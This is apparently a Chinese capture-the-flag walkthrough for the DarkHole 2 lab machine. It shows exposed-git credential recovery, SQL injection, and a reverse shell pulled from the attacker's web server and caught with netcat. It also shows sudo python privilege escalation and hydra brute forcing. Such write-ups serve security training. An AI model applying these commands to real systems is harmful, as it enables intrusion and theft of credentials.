使用nmap扫描网段,发现目标:192.168.35.137
紧接着nmap扫描端口,发现80和22端口开放。
我们可以看到有一行文字,git repository found!,代表git库泄露
随即进入网页,利用gobuster进行目录扫描。
login.php测试sql注入无效。
我们也在kali上将git库下载下来。
wget -r http://192.168.35.137/.git
紧接着将其克隆到darkhole2中,我们要跳转到文件所在目录。
git clone . darkhole2
我们查看版本历史,
git log,其中commit a4d900a8d85e8938d3601f3cef113ee293028e10下有一行英文,大概意思是我将login.php优化了,我们可以从这找突破口。
git checkout a4d900a8d85e8938d3601f3cef113ee293028e10
查看login.php。
我们可以从开头的代码中获取到网站用户的账户:lush@admin.com以及密码:321
测试其是否能在登录页面登录,测试成功。
登录成功后,我们发现网址变成了这样
当即测试了sql注入,发现有注入点。
使用order by测试,紧接着爆表。
从ssh表中提取账号和密码,让后通过ssh连接登录。
账户:jehad 密码:fool
进入/etc目录,我们可以找到一个叫 passwd的文件。
我们可以得知,有三个用户分别是,jehad,lama,losy
在默认目录下,读取历史命令记录。
cat .bash_history
注意到9999端口开放,且能执行命令,(从losy目录下的index.php看出)
执行curl "http://127.0.0.1:9999/?cmd=id"发现,其是losy用户权限。
编写反向shell,然后开启kali的服务器,利用jehad用户下载到本地。
python3 -m http.server 8000开启kali的8000端口
先输入nc -lvnp 1234 监听1234端口,然后启用
让后激活终端(python3 -c 'import pty; pty.spawn("bin/bash")' ),可以看到
登录的用户为losy,便可以得到第一个flag。
同样读取历史记录,cat .bash_history,从中得到密码:gang。
已知账户密码,同样用ssh连接。
执行sudo -l,可发现能用/usr/bin/python3提权,从losy的记录中已经察觉。
输入sudo /usr/bin/python3 -c "import os;os.system('/bin/bash')",进行提权,成功拿到root。
root.txt获得最后一个flag。
补充:其实可以不上传反弹shell,在cmd后写入用url编码的反弹shell语句也行。
利用hydra等暴力破解工具,是可以破解出lama和losy的密码的。